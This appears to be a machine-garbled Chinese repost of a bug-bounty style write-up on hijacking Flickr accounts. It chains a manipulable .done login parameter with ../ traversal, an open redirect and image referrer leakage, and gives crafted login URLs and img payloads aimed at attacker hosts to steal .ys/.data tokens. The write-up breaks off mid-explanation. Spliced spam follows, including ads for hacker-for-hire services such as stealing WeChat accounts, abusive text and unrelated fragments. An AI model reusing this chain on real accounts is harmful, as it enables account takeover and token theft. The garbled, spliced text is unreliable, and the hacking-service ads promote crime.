Flickr( flickr.com)为yahooYahoo旗下图片和视频共享渠道,供给免费及付费数位相片视频贮存、共享和线上交际应用服务。本文中作者通过身份认证参数控制、外部链接重定向和图片处理绕过3个安全问题的综合利用,终究成功完结绑架Flickr的方针账户权限。咱们一起来看看:
在Flickr的用户登录验证过程中,将会向login.yahoo.com建议一个获取用户拜访令牌(access token)的恳求。
Flickr.com的登录认证机制
当用户点击Flickr.com的登录按钮之后,将会转向到以下Url链接:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F
该链接也是yahoo用户的登录认证页面,当完结登录表单填写和点击登录之后,用户将首要转向一个yahoo身份验证终端服务,假如验证信息有用,用户将转向以下Flickr Url页面:
https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value}
与此同时,Flickr在后台开端对yahoo验证服务和用户登录发作的.ys和.data参数进行认证。
盗取Flickr.com用户登录令牌信息
思路剖析
也就是说,假如用户现已处于yahoo服务端登录状况,那么点击以下初始链接之后:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F
数据流量仅仅发作在后台,而不需要往yahoo端输入身份验证信息,而这也就带来了账户被绑架的危险。由于事实上用户只需点击相似OAuth完结的单个链接完结身份认证。想通了这些之后,我测验考虑 *** 绕过该认证机制。
首要,我想到的是该链接中的第二个.done参数:
.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F
能够被控制,该参数实践担任的是登录令牌信息的发送。在此过程中,yahoo服务器只会对https://www.flickr.com/signin/yahoo/建议的登录恳求进行验证,但咱们能够向该链接中增加../符号进行测验,当向其间增加../../test恳求.done值时,其.ys和.data参数令牌将被发送到https://www.flickr.com/test服务端。
所以,在此一种主意就情不自禁,假如咱们能从https://www.flickr.com/网站找到一个敞开重定向(Open redirect)的突破口, 就能把认证令牌信息直接发送到咱们自己架构的服务器端来。
缝隙发掘
通过一番研讨之后,我发现了该页面:
https://www.flickr.com/html.gne?tighten=0&type=comment
它能够在不同Flickr页面的谈论区中完结图片嵌入。我想假如通过这儿向谈论区中上传一个外部链接图片,其令牌信息就能够通过现已登录的引证字段(referrer field)走漏到我自己架构的服务器端来。为此,我用以下内容作为上传图片进行谈论测验:
img src=”https://www.hack56.com/images/rnv4ba0wrox.jpg” />
该图片确实被嵌入到Flickr谈论区,可是,yahoo却把其src值转义解析为以下链接:
https://ec.yimg.com/ec?url=https://www.hack56.com/images/rnv4ba0wrox.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA–~C
这种转义应该是yahoo的一种内部恳求署理在发作效果,它能够阻挠向外部服务器走漏Flickr的恳求信息。可是,假如运用一些浏览器进犯的奇技淫巧,是不是就能控制其Flickr的图片处理逻辑呢?比方,发送形如以下的图片谈论内容:
img src=”//www.attacker.com/someimage.jpg” />
但惋惜的是,其内部恳求署理不会转义处理该链接,其src值仍是坚持原样,而且Flickr谈论区也不会把其显现为图片。通过研讨,发现这是由于Flickr运用了网页内容安全防护战略(CSP,Content Security Policy),限制了来自以下域名的链接才是有用链接:
Content-Security-Policy: img-src data: blob: https://*.flickr.com https://*.flickr.net http://*.flickr.net https://*.staticflickr.com http://*.staticflickr.com https://*.yimg.com https://*.yahoo.com https://*.cedexis.com https://*.cedexis-test.com https://*.cedexis-radar.net https:// *** .scorecardresearch.com https://image.maps.api.here.com https://csync.yahooapis.com https://*.paypal.com https://*.pinterest.com http://*.static-alpha.flickr.com https://geo-um.btrll.com https://connect.facebook.net https://*.facebook.com https://bs.serving-sys.com https://*.adserver.yahoo.com https://*.maps.api.here.com https://*.maps.cit.api.here.com https://*.ads.yahoo.com https://secure.footprint.net;
其img-src装备中的设定了白名单域名,因而,终究上传显现外部链接图片的意图失利了。
在了解了这些之后,我测验着寻觅其它答应谈论的终端页面,发现Flickr其间一个论坛页面:
https://www.flickr.com/help/forum/en-us/
不光答应谈论,形似还没有装备CSP战略。因而,我在该论坛的某个论题之下加入了以下图片款式的谈论内容:
[1] [2] 黑客接单网
妈勒戈壁,大骗子,叫吴迪,卧槽是个狗人 不知道你是什么意思,如果你是指通过电脑技术查到黑客的话,那就只有一条路,努力学习黑客技术,如果是现实中找人,太多方法了,随便哪个黑客网站都有 随时更新杀软;修复...
「沈阳交通违章记录查询_怎么找黑客买肉鸡-找黑客改四级」文件办理:检查、修改、重命名、删去、上传、下载、紧缩…SQL Explorer=================================...
sudo add-apt-repository ppa:ubuntu-toolchain-r/test二、0day 缝隙和在野运用进犯四、 被进犯的设备品种不断扩大职业黑客是怎么接单的,追款 本次进犯...
0×01布景 现在的许多远控/后门由于现在干流防火墙规矩的约束,基本上都选用TCP/UDP反弹回连的通讯办法;但是在较高安全环境下,特别担任web相关事务的环境,由于安防设备(防火墙,IDS,IPS等...
例如,当你在JS中创立变量时,引擎有必要判别这是什么样的变量,以及怎么在内存中进行表明。 由于引擎是处于判别的状况,所以JS引擎一般会需求的空间比实践的处理变量的空间更多一些。 依据变量的不同,内存插...
struct chunk *next; /* The next sibling child. */9、qwerty (↓ 5)二、 怎么紧迫自救黑客接单菠菜,找黑客盗微信多少钱6 依据咱们的查询,进犯...